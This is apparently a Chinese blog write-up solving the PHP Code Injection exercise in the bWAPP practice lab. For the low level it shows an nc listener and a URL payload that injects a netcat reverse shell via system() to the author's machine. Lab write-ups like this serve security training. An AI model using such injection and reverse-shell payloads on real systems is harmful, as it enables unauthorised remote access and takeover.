渗透练习工具bWAPP解法之----PHP Code Injection

版权声明：本文为博主原创文章，未经博主允许可以转载，但转载时请附上原文地址： https://blog.csdn.net/youshaoduo/article/details/81778007

Low:

打开Mac的终端，输入ifconfig查看本机IP：

➜  ~ ifconfig
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
	options=1203<RXCSUM,TXCSUM,TXSTATUS,SW_TIMESTAMP>
	inet 127.0.0.1 netmask 0xff000000
	inet6 ::1 prefixlen 128
	inet6 fe80::1%lo0 prefixlen 64 scopeid 0x1
	nd6 options=201<PERFORMNUD,DAD>
gif0: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
stf0: flags=0<> mtu 1280
XHC20: flags=0<> mtu 0
en5: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	options=4<VLAN_MTU>
	ether 00:e0:4c:36:09:77
	nd6 options=201<PERFORMNUD,DAD>
	media: autoselect (none)
	status: inactive
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	ether 98:01:a7:a8:05:3f
	inet6 fe80::18e2:f23d:250:5c25%en0 prefixlen 64 secured scopeid 0x6
	inet 10.0.3.172 netmask 0xffffff00 broadcast 10.0.3.255
	nd6 options=201<PERFORMNUD,DAD>
	media: autoselect
	status: active

然后使用nc命令监听本地7890端口：

➜  nc -v -l 7890

然后直接在bWAPP的地址栏里输入http://localhost/bWAPP/phpi.php?message=test;system('nc 10.0.3.172 7890 -e /bin/bash')按回车，即可在Mac上拿到Shell。

Medium and High:

因为使用了htmlspecialchars()函数过滤，所以无解。